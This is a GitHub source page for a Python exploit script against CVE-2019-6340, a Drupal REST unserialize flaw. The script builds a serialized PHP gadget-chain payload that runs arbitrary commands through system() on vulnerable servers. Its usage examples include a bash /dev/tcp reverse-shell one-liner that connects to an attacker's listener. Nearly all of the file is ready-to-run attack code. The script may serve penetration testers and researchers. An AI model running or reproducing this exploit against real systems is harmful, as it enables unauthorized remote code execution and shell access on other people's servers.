-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathexploit.py
More file actions
282 lines (229 loc) · 9.78 KB
/
Copy pathexploit.py
File metadata and controls
282 lines (229 loc) · 9.78 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
#!/usr/bin/env python3
"""
CVE-2019-6340 - Drupal RESTful Web Services unserialize() RCE
Gadget chain: Guzzle/RCE1 (GuzzleHttp\\Psr7\\FnStream + GuzzleHttp\\HandlerStack)
Original: https://www.exploit-db.com/exploits/46459 / https://github.com/rapid7/metasploit-framework/blob/master//modules/exploits/unix/webapp/drupal_restws_unserialize.rb
Vulnerable versions: Drupal < 8.5.11 and < 8.6.10
References:
https://www.drupal.org/sa-core-2019-003
https://www.ambionics.io/blog/drupal8-rce
https://github.com/ambionics/phpggc
Differences from the original exploit (EDB-46459):
- Uses POST to /node instead of GET to /node/{id}
- POST requests are not cached by Drupal
- Can be executed multiple times without waiting for cache expiration
- HTTP 401 in the response is expected and treated as success
"""
import argparse
import sys
import requests
import json
requests.packages.urllib3.disable_warnings()
# ---------------------------------------------------------------------------
# PHP unserialize payload — Guzzle/RCE1
# Direct port of phpggc_payload() from the Metasploit module
# Null bytes (\x00) delimit private properties in PHP serialization
# ---------------------------------------------------------------------------
def build_phpggc_payload(cmd: str) -> str:
"""
Builds the serialized PHP object that calls system($cmd) via
GuzzleHttp\\HandlerStack::resolve() -> GuzzleHttp\\Psr7\\FnStream::close()
Deserialization flow:
FnStream::__destruct()
-> calls $this->_fn_close() (which is [HandlerStack, 'resolve'])
-> HandlerStack::resolve()
-> call_user_func('system', $handler) where $handler = $cmd
"""
null = "\x00"
# Byte length (important for commands with spaces/special chars)
cmd_len = len(cmd.encode())
payload = (
'O:24:"GuzzleHttp\\Psr7\\FnStream":2:{'
# private property $methods -> ['close' => [HandlerStack, 'resolve']]
f's:33:"{null}GuzzleHttp\\Psr7\\FnStream{null}methods";a:1:{{'
's:5:"close";a:2:{'
# i:0 => HandlerStack instance
'i:0;O:23:"GuzzleHttp\\HandlerStack":3:{'
# $handler = command to execute (passed to system())
f's:32:"{null}GuzzleHttp\\HandlerStack{null}handler";'
f's:{cmd_len}:"{cmd}";'
# $stack = [['system']] — function to call with $handler
f's:30:"{null}GuzzleHttp\\HandlerStack{null}stack";'
'a:1:{i:0;a:1:{i:0;s:6:"system";}}'
# $cached = false — forces stack rebuild
f's:31:"{null}GuzzleHttp\\HandlerStack{null}cached";'
'b:0;'
'}'
# i:1 => method to call on HandlerStack
'i:1;s:7:"resolve";'
'}'
'}'
# public property $_fn_close = [reference to HandlerStack above, 'resolve']
# r:4 is a back-reference to the HandlerStack object (4th element in the stream)
's:9:"_fn_close";a:2:{'
'i:0;r:4;'
'i:1;s:7:"resolve";'
'}'
'}'
)
return payload
def build_hal_json(cmd: str, vhost_uri: str) -> str:
"""
Builds the HAL+JSON body with the serialized payload embedded in
link[0].options, which is the deserialization entry point in Drupal.
"""
body = {
"link": [
{
"value": "link",
"options": build_phpggc_payload(cmd)
}
],
"_links": {
"type": {
"href": vhost_uri
}
}
}
return json.dumps(body, indent=2)
# ---------------------------------------------------------------------------
# Main exploit
# ---------------------------------------------------------------------------
def exploit(target: str, cmd: str, method: str = "POST",
node_id: int = 1, proxy: str = None, verbose: bool = False,
timeout: int = 10) -> bool:
"""
Sends the payload to Drupal's REST endpoint.
Returns True if execution likely succeeded.
"""
target = target.rstrip("/")
# Shortcut content type endpoint — required for node type validation
# Drupal validates _links.type.href; any valid type works
vhost_uri = f"{target}/rest/type/shortcut/default"
# POST -> /node (no ID, no cache)
# GET -> /node/{id} (cached after first execution)
if method.upper() == "GET":
node_uri = f"{target}/node/{node_id}"
print(f"[!] WARNING: GET caches the node after the first execution.")
print(f"[!] To run again, increment --node or wait for cache expiration.")
else:
node_uri = f"{target}/node"
url = f"{node_uri}?_format=hal_json"
headers = {
"Content-Type": "application/hal+json",
"Accept": "application/hal+json",
}
body = build_hal_json(cmd, vhost_uri)
proxies = {"http": proxy, "https": proxy} if proxy else None
if verbose:
print(f"\n[*] URL : {url}")
print(f"[*] Method : {method.upper()}")
print(f"[*] Command : {cmd}")
print(f"[*] vhost : {vhost_uri}\n")
try:
response = requests.request(
method=method.upper(),
url=url,
headers=headers,
data=body,
proxies=proxies,
verify=False,
timeout=timeout,
)
except requests.exceptions.ConnectionError as e:
print(f"[-] Connection error: {e}")
return False
except requests.exceptions.Timeout:
# For reverse shells, PHP blocks waiting for the process to complete.
# A timeout is expected and does NOT mean failure — the process keeps
# running on the server. Check your listener.
print("[*] Request timed out — normal for reverse shells (PHP blocks on system()).")
print("[*] The payload is still running on the server. Check your listener.")
return True
if verbose:
print(f"[*] HTTP Status: {response.status_code}")
# 200 = success with visible output
# 401 = expected on POST (Drupal rejects auth but already executed the payload)
if response.status_code in (200, 401):
if response.status_code == 401:
print("[*] HTTP 401 received — expected behavior with POST/PATCH/PUT")
print("[*] The payload was deserialized before the authentication check")
if response.text.strip():
print("\n[+] Output:\n")
print(response.text)
else:
print("[*] No output in response (blind payload or no stdout)")
if method.upper() == "GET":
print("[!] If no execution occurred, try a different --node (cache exhausted)")
return True
elif response.status_code == 404:
print(f"[-] 404 — endpoint {node_uri} not found")
print("[-] Check if the REST module is enabled in Drupal")
elif response.status_code == 405:
print(f"[-] 405 — method {method.upper()} not allowed")
print("[-] Try a different method: POST, PATCH, PUT, GET")
elif response.status_code == 406:
print("[-] 406 — Web Services probably not enabled")
print("[-] Enable at: /admin/config/services/rest -> Node -> GET/POST")
elif response.status_code == 422:
print("[-] 422 — Unprocessable Entity")
print("[-] VHOST may be incorrect or node type invalid")
else:
print(f"[-] Unexpected response: HTTP {response.status_code}")
if verbose:
print(response.text[:500])
return False
# ---------------------------------------------------------------------------
# Entrypoint
# ---------------------------------------------------------------------------
def main():
banner = r"""
CVE-2019-6340 | Drupal < 8.5.11 / < 8.6.10
Guzzle/RCE1 unserialize() via REST endpoint
POST method — no cache limitation
by joaoaugustom
"""
print(banner)
parser = argparse.ArgumentParser(
description="CVE-2019-6340 — Drupal RCE via REST (POST, no cache)",
formatter_class=argparse.RawDescriptionHelpFormatter,
epilog="""
Examples:
# Simple execution (POST, no cache)
python3 CVE-2019-6340.py http://drupal.lab/drupal -c 'id'
# Reverse shell
python3 CVE-2019-6340.py http://drupal.lab/drupal -c 'bash -i >& /dev/tcp/10.10.10.1/4444 0>&1'
# Via proxy (Burp)
python3 CVE-2019-6340.py http://drupal.lab/drupal -c 'id' --proxy http://127.0.0.1:8080
# Force GET (cache-limited — use a different node each time)
python3 CVE-2019-6340.py http://drupal.lab/drupal -c 'id' --method GET --node 2
"""
)
parser.add_argument("target",
help="Drupal base URL (e.g. http://192.168.1.10/drupal)")
parser.add_argument("-c", "--cmd", required=True,
help="Command to execute on the server")
parser.add_argument("--method", default="POST",
choices=["POST", "PATCH", "PUT", "GET"],
help="HTTP method (default: POST — no cache)")
parser.add_argument("--node", type=int, default=1,
help="Target node ID (used only with --method GET)")
parser.add_argument("--proxy",
help="HTTP proxy (e.g. http://127.0.0.1:8080)")
parser.add_argument("-v", "--verbose", action="store_true",
help="Verbose output")
parser.add_argument("--timeout", type=int, default=10,
help="Request timeout in seconds (default: 10; use higher for slow targets)")
args = parser.parse_args()
success = exploit(
target=args.target,
cmd=args.cmd,
method=args.method,
node_id=args.node,
proxy=args.proxy,
verbose=args.verbose,
timeout=args.timeout,
)
sys.exit(0 if success else 1)
if __name__ == "__main__":
main()